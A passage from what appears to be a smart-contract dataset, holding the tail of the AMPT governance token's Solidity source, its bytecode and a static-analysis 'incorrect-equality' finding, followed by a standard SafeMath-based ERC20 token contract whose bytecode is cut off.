return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint256 lower = 0;
uint256 upper = nCheckpoints - 1;
while (upper > lower) {
uint256 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint256 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint256 amount) internal {
require(src != address(0), "AMPT::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "AMPT::_transferTokens: cannot transfer to the zero address");
balances[src] = safeSub(balances[src], amount, "AMPT::_transferTokens: transfer amount exceeds balance");
balances[dst] += amount;
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint256 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = safeSub(srcRepOld, amount, "AMPT::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint256 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint256 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint256 currentBlockNumber = getBlockNumber();
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == currentBlockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(currentBlockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function getBlockNumber() public virtual view returns (uint256) {
return block.number;
}
function getBlockTimestamp() public virtual view returns (uint256) {
return block.timestamp;
}
function safeSub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function getChainId() internal view returns (uint256) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80636fcfff45116100c3578063a457c2d71161007c578063a457c2d7146103f1578063a9059cbb14610421578063b4b5ea5714610451578063c3cda52014610481578063dd62ed3e1461049d578063e7a324dc146104cd5761014d565b80636fcfff45146102f557806370a0823114610325578063782d6fe114610355578063796b89b9146103855780637ecebe00146103a357806395d89b41146103d35761014d565b806323b872dd1161011557806323b872dd1461020d578063313ce5671461023d578063395093511461025b57806342cbb15c1461028b578063587cde1e146102a95780635c19a95c146102d95761014d565b806306fdde0314610152578063095ea7b3146101705780630cdfebfa146101a057806318160ddd146101d157806320606b70146101ef575b600080fd5b61015a6104eb565b60405161016791906122c7565b60405180910390f35b61018a60048036038101906101859190611e8f565b610524565b60405161019791906121c2565b60405180910390f35b6101ba60048036038101906101b59190611e8f565b61053b565b6040516101c8929190612444565b60405180910390f35b6101d961056c565b6040516101e69190612429565b60405180910390f35b6101f761057b565b60405161020491906121dd565b60405180910390f35b61022760048036038101906102229190611e40565b61059f565b60405161023491906121c2565b60405180910390f35b6102456107d8565b604051610252919061246d565b60405180910390f35b61027560048036038101906102709190611e8f565b6107dd565b60405161028291906121c2565b60405180910390f35b61029361087a565b6040516102a09190612429565b60405180910390f35b6102c360048036038101906102be9190611ddb565b610882565b6040516102d091906121a7565b60405180910390f35b6102f360048036038101906102ee9190611ddb565b6108b5565b005b61030f600480360381019061030a9190611ddb565b6108c2565b60405161031c9190612429565b60405180910390f35b61033f600480360381019061033a9190611ddb565b6108da565b60405161034c9190612429565b60405180910390f35b61036f600480360381019061036a9190611e8f565b610923565b60405161037c9190612429565b60405180910390f35b61038d610c5e565b60405161039a9190612429565b60405180910390f35b6103bd60048036038101906103b89190611ddb565b610c66565b6040516103ca9190612429565b60405180910390f35b6103db610c7e565b6040516103e891906122c7565b60405180910390f35b61040b60048036038101906104069190611e8f565b610cb7565b60405161041891906121c2565b60405180910390f35b61043b60048036038101906104369190611e8f565b610d9c565b60405161044891906121c2565b60405180910390f35b61046b60048036038101906104669190611ddb565b610db3565b6040516104789190612429565b60405180910390f35b61049b60048036038101906104969190611ecb565b610e70565b005b6104b760048036038101906104b29190611e04565b61117b565b6040516104c49190612429565b60405180910390f35b6104d5611201565b6040516104e291906121dd565b60405180910390f35b6040518060400160405280600d81526020017f416d706c69667920546f6b656e0000000000000000000000000000000000000081525081565b6000610531338484611225565b6001905092915050565b6003602052816000526040600020602052806000526040600020600091509150508060000154908060010154905082565b6a52b7d2dcc80cd2e400000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508573ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561068157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114155b156107c057838110156106c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c090612349565b60405180910390fd5b600084826106d79190612536565b9050806000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107b69190612429565b60405180910390a3505b6107cb8686866113ef565b6001925050509392505050565b601281565b60006108703384846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461086b91906124af565b611225565b6001905092915050565b600043905090565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108bf33826116fd565b50565b60046020528060005260406000206000915090505481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008061092e61087a565b9050828111610972576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610969906123c9565b60405180910390fd5b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008114156109ca57600092505050610c58565b83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610a199190612536565b81526020019081526020016000206000015411610a9957600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610a7e9190612536565b81526020019081526020016000206001015492505050610c58565b83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000808152602001908152602001600020600001541115610aff57600092505050610c58565b600080600183610b0f9190612536565b90505b81811115610bfd57600060028383610b2a9190612536565b610b349190612505565b82610b3f9190612536565b90506000600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206040518060400160405290816000820154815260200160018201548152505090508781600001511415610bd25780602001519650505050505050610c58565b8781600001511015610be657819350610bf6565b600182610bf39190612536565b92505b5050610b12565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600101549450505050505b92915050565b600042905090565b60056020528060005260406000206000915090505481565b6040518060400160405280600481526020017f414d50540000000000000000000000000000000000000000000000000000000081525081565b6000806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7290612409565b60405180910390fd5b610d9133858584610d8c9190612536565b611225565b600191505092915050565b6000610da93384846113ef565b6001905092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111610e07576000610e68565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610e559190612536565b8152602001908152602001600020600101545b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666040518060400160405280600d81526020017f416d706c69667920546f6b656e0000000000000000000000000000000000000081525080519060200120610ed86118a5565b30604051602001610eec949392919061223d565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001610f3d94939291906121f8565b60405160208183030381529060405280519060200120905060008282604051602001610f6a929190612170565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610fa79493929190612282565b6020604051602081039080840390855afa158015610fc9573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c90612389565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205489146110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd90612309565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611116906125fc565b919050555087611124610c5e565b1115611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612329565b60405180910390fd5b61116f818b6116fd565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c906123a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611305576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fc906122e9565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113e29190612429565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561145f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611456906123e9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c690612369565b60405180910390fd5b611531600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482604051806060016040528060368152602001612a82603691396118b2565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115c391906124af565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116279190612429565b60405180910390a36116f8600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611907565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a461189f828483611907565b50505050565b6000804690508091505090565b60008383111582906118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f191906122c7565b60405180910390fd5b5082840390509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119435750600081115b15611b7657600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a6a576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008082116119d0576000611a31565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611a1e9190612536565b8152602001908152602001600020600101545b90506000611a588285604051806060016040528060288152602001612a5a602891396118b2565b9050611a6686848484611b7b565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611b75576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000808211611af2576000611b53565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611b409190612536565b8152602001908152602001600020600101545b905060008382611b6391906124af565b9050611b7185848484611b7b565b5050505b5b505050565b6000611b8561087a565b9050600084118015611bf5575080600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611be19190612536565b815260200190815260200160002060000154145b15611c635781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611c499190612536565b815260200190815260200160002060010181905550611d30565b604051806040016040528082815260200183815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000206000820151816000015560208201518160010155905050600184611cec91906124af565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611d78929190612444565b60405180910390a25050505050565b600081359050611d96816129fd565b92915050565b600081359050611dab81612a14565b92915050565b600081359050611dc081612a2b565b92915050565b600081359050611dd581612a42565b92915050565b600060208284031215611ded57600080fd5b6000611dfb84828501611d87565b91505092915050565b60008060408385031215611e1757600080fd5b6000611e2585828601611d87565b9250506020611e3685828601611d87565b9150509250929050565b600080600060608486031215611e5557600080fd5b6000611e6386828701611d87565b9350506020611e7486828701611d87565b9250506040611e8586828701611db1565b9150509250925092565b60008060408385031215611ea257600080fd5b6000611eb085828601611d87565b9250506020611ec185828601611db1565b9150509250929050565b60008060008060008060c08789031215611ee457600080fd5b6000611ef289828a01611d87565b9650506020611f0389828a01611db1565b9550506040611f1489828a01611db1565b9450506060611f2589828a01611dc6565b9350506080611f3689828a01611d9c565b92505060a0611f4789828a01611d9c565b9150509295509295509295565b611f5d8161256a565b82525050565b611f6c8161257c565b82525050565b611f7b81612588565b82525050565b611f92611f8d82612588565b612645565b82525050565b6000611fa382612488565b611fad8185612493565b9350611fbd8185602086016125c9565b611fc6816126ad565b840191505092915050565b6000611fde602283612493565b9150611fe9826126be565b604082019050919050565b60006120016002836124a4565b915061200c8261270d565b600282019050919050565b6000612024602283612493565b915061202f82612736565b604082019050919050565b6000612047602683612493565b915061205282612785565b604082019050919050565b600061206a603d83612493565b9150612075826127d4565b604082019050919050565b600061208d603a83612493565b915061209882612823565b604082019050919050565b60006120b0602683612493565b91506120bb82612872565b604082019050919050565b60006120d3602483612493565b91506120de826128c1565b604082019050919050565b60006120f6602783612493565b915061210182612910565b604082019050919050565b6000612119603c83612493565b91506121248261295f565b604082019050919050565b600061213c602583612493565b9150612147826129ae565b604082019050919050565b61215b816125b2565b82525050565b61216a816125bc565b82525050565b600061217b82611ff4565b91506121878285611f81565b6020820191506121978284611f81565b6020820191508190509392505050565b60006020820190506121bc6000830184611f54565b92915050565b60006020820190506121d76000830184611f63565b92915050565b60006020820190506121f26000830184611f72565b92915050565b600060808201905061220d6000830187611f72565b61221a6020830186611f54565b6122276040830185612152565b6122346060830184612152565b95945050505050565b60006080820190506122526000830187611f72565b61225f6020830186611f72565b61226c6040830185612152565b6122796060830184611f54565b95945050505050565b60006080820190506122976000830187611f72565b6122a46020830186612161565b6122b16040830185611f72565b6122be6060830184611f72565b95945050505050565b600060208201905081810360008301526122e18184611f98565b905092915050565b6000602082019050818103600083015261230281611fd1565b9050919050565b6000602082019050818103600083015261232281612017565b9050919050565b600060208201905081810360008301526123428161203a565b9050919050565b600060208201905081810360008301526123628161205d565b9050919050565b6000602082019050818103600083015261238281612080565b9050919050565b600060208201905081810360008301526123a2816120a3565b9050919050565b600060208201905081810360008301526123c2816120c6565b9050919050565b600060208201905081810360008301526123e2816120e9565b9050919050565b600060208201905081810360008301526124028161210c565b9050919050565b600060208201905081810360008301526124228161212f565b9050919050565b600060208201905061243e6000830184612152565b92915050565b60006040820190506124596000830185612152565b6124666020830184612152565b9392505050565b60006020820190506124826000830184612161565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006124ba826125b2565b91506124c5836125b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124fa576124f961264f565b5b828201905092915050565b6000612510826125b2565b915061251b836125b2565b92508261252b5761252a61267e565b5b828204905092915050565b6000612541826125b2565b915061254c836125b2565b92508282101561255f5761255e61264f565b5b828203905092915050565b600061257582612592565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156125e75780820151818401526020810190506125cc565b838111156125f6576000848401525b50505050565b6000612607826125b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561263a5761263961264f565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f414d50543a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f414d50543a3a64656c656761746542795369673a207369676e6174757265206560008201527f7870697265640000000000000000000000000000000000000000000000000000602082015250565b7f414d50543a3a7472616e7366657246726f6d3a207472616e7366657220616d6f60008201527f756e742065786365656473207370656e64657220616c6c6f77616e6365000000602082015250565b7f414d50543a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008201527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015250565b7f414d50543a3a64656c656761746542795369673a20696e76616c69642073696760008201527f6e61747572650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f414d50543a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b7f414d50543a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008201527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b612a068161256a565b8114612a1157600080fd5b50565b612a1d81612588565b8114612a2857600080fd5b50565b612a34816125b2565b8114612a3f57600080fd5b50565b612a4b816125bc565b8114612a5657600080fd5b5056fe414d50543a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773414d50543a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220a2f4cd8d51610dc1c6773f0693b3f8d9c435344f26fb6408e35089dde035f3a064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 6,042 |
0x834bd5793f396759084782ccb5cba6ef93456c7e
|
/**
*Submitted for verification at Etherscan.io on 2020-06-10
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals, uint256 totalSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns(string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
}
|
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063395093511461028a57806370a08231146102ef57806395d89b4114610346578063a457c2d7146103d6578063a9059cbb1461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b9565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106e6565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f0565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6108a2565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b9565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af0565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610b38565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020